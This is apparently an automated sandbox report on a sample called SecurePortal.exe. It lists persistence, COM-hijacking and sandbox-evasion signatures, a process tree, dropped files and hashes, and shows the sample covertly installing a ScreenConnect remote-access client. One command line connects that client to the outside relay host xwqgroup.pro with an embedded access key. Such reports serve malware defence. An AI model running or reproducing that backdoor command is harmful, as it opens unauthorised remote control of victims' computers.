Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 06:19

General

  • Target
    SecurePortal.exe
  • Size 5.4MB
  • Sample260820-g3j4hstyay
  • SHA256 92e44a37218b4b3772be0796e3e75dfacde83a0b5dd70aa7c92740743d551f23
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecurePortal.exe
    "C:\Users\Admin\AppData\Local\Temp\SecurePortal.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5816
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\f9ee6c69412f0386\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4636
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3680
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DE38FE0D60917011EF727BE3934763AB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3708
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240741484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:8
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5532
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D76B936B10D26A6609B4FB22435C33A5
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4500
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding BA08CB8695CC63F3B8C74BDF2943A933 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1500
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:252
    • C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=xwqgroup.pro&p=8041&s=456b849b-d0af-46d6-9755-04fe36c16999&k=BgIAAACkAABSU0ExAAgAAAEAAQBhpsfTZsnO6I11ca6JDBSctyw4fP0M7AUZ04lzIsOcDVXKffU54CjlyU94QZVhgbrIPDfE7f3MwfGpfNIgWGuwvr3dSRbYaCQDDbj4NiVrOfJypUVsWvpiI6ayCAWwNQEEiBxinfL1vGuySou1fpLty6qQDjzGAfJbNa8Ugr571ccxnCYRhcI2KyyVXth2jPUYGCfYbrZLLBFlOv93ZdQmaCanyJK0gqpCeGOm6rWlYgyVhEdM6374EEj4cXqnbTybf5Qr2xT7StV65R5Jrsl3FMb81HP9B2ffAJGygZMfCm8bCjPVREPAD39FoL4uxpU9nHIpMQBEfmN3Ju3mwODB"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:5600
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 1340
        2⤵
        • Program crash
        PID:2768
    • C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=xwqgroup.pro&p=8041&s=456b849b-d0af-46d6-9755-04fe36c16999&k=BgIAAACkAABSU0ExAAgAAAEAAQBhpsfTZsnO6I11ca6JDBSctyw4fP0M7AUZ04lzIsOcDVXK%2f%2fU54CjlyU94QZVhgbrIPD%2fE7%2f3MwfGp%2fNIgWGuwvr3dSRbYaCQDDbj4NiVrOfJypUVsWvpiI6ayCAWwNQEEiBxin%2fL1vGuySou1fpLty6qQDjzGAfJbNa8Ugr571ccxnCYRhcI2KyyVXth2jPUYGCfY%2brZLLBFlOv93ZdQmaCanyJK0gqpCeGOm6rWlYgyVhEdM6374EEj4cXqnbTybf5Qr2xT7StV65R5Jrsl3FMb81HP9B2%2ffAJGygZM%2fCm8bCjPVREPAD39FoL4uxpU9nHIpMQBE%2fmN3Ju3mwODB"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1080
      • C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsClient.exe" "RunRole" "89e1f28d-ce47-4d12-8f26-44c405b9c863" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4588
      • C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsClient.exe" "RunRole" "0c845133-3a20-4a72-8f11-433c039e94b0" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2728
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5600 -ip 5600
      1⤵
        PID:4428

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e59ce73.rbs

            • Path C:\Config.Msi\e59ce73.rbs
            • Size 214KB
            • SHA256 a981f889c28997848bc16bb291f57affb9c04e1a80677b2270b4bf97b0284c61
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\Client.Override.resources
            • Size 29KB
            • SHA256 785f1c64c876dd6a3cae55ccf88469028b130fcc58aea1cc7fd4c1dee2219b79
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\app.config
            • Size 1KB
            • SHA256 92aa0b705f755cecf70dd713990db5461df6b7a7c650c77c9a79f43a2d92a6f4
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (f9ee6c69412f0386)\system.config
            • Size 938B
            • SHA256 00fded24a21e5c20d681df1fc00c091e6b8e5454cad9ef3e29ab49a3479ff202
            • MD5 SHA1 SHA512 TLSH

            MSI6B24.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\f9ee6c69412f0386\ScreenConnect.ClientSetup.msi
            • Size 11.2MB
            • SHA256 63953fd3ae85044c4cae76edc2bfd3e75d163d60ea9d24d7a3d347fab2af0910
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSID633.tmp

            • Path C:\Windows\Installer\MSID633.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 93538a17b3b4790676df5642f80249b86c7398a431907a3709c284a2e9c4cb54
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {383e3642-a72b-43e8-9a76-b3e07e8fd0b7}_OnDiskSnapshotProp

            • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{383e3642-a72b-43e8-9a76-b3e07e8fd0b7}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 4655ac9f0ea836fd98936e8e28abbfd6c4941ccdf47bb17184dbfd9a81d79b2c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/8-32-0x0000000005660000-0x000000000568E000-memory.dmp

            memory/8-40-0x0000000005720000-0x00000000057AC000-memory.dmp

            memory/8-36-0x00000000035C0000-0x00000000035CA000-memory.dmp

            memory/8-44-0x0000000005960000-0x0000000005B0C000-memory.dmp

            memory/1080-127-0x00000000042B0000-0x0000000004385000-memory.dmp

            memory/1080-123-0x00000000040C0000-0x0000000004152000-memory.dmp

            memory/1080-118-0x0000000003F90000-0x0000000003FE0000-memory.dmp

            memory/1080-125-0x0000000003F50000-0x0000000003F91000-memory.dmp

            memory/1080-122-0x0000000003FE0000-0x0000000004016000-memory.dmp

            memory/2728-145-0x0000000000C70000-0x0000000000CB1000-memory.dmp

            memory/4588-142-0x0000000002610000-0x0000000002628000-memory.dmp

            memory/4588-137-0x00000000025B0000-0x00000000025E6000-memory.dmp

            memory/4588-143-0x0000000002630000-0x0000000002671000-memory.dmp

            memory/4588-141-0x0000000002570000-0x0000000002588000-memory.dmp

            memory/4588-140-0x000000001BA40000-0x000000001BBC8000-memory.dmp

            memory/4588-139-0x000000001B700000-0x000000001B8AC000-memory.dmp

            memory/4588-138-0x000000001B4C0000-0x000000001B54C000-memory.dmp

            memory/4588-136-0x00000000003C0000-0x0000000000458000-memory.dmp

            memory/5600-87-0x0000000003020000-0x0000000003038000-memory.dmp

            memory/5816-13-0x0000000074BB0000-0x000000007536C000-memory.dmp

            memory/5816-1-0x0000000002AB0000-0x0000000002AB8000-memory.dmp

            memory/5816-3-0x0000000005370000-0x0000000005662000-memory.dmp

            memory/5816-2-0x0000000074BB0000-0x000000007536C000-memory.dmp

            memory/5816-4-0x0000000005070000-0x00000000050FC000-memory.dmp

            memory/5816-5-0x0000000074BB0000-0x000000007536C000-memory.dmp

            memory/5816-7-0x0000000005120000-0x00000000052CC000-memory.dmp

            memory/5816-6-0x0000000005100000-0x0000000005122000-memory.dmp

            memory/5816-8-0x0000000005C20000-0x00000000061DA000-memory.dmp

            memory/5816-9-0x0000000074BB0000-0x000000007536C000-memory.dmp

            memory/5816-0-0x0000000074BC2000-0x0000000074BC3000-memory.dmp

            memory/5816-11-0x0000000074BB0000-0x000000007536C000-memory.dmp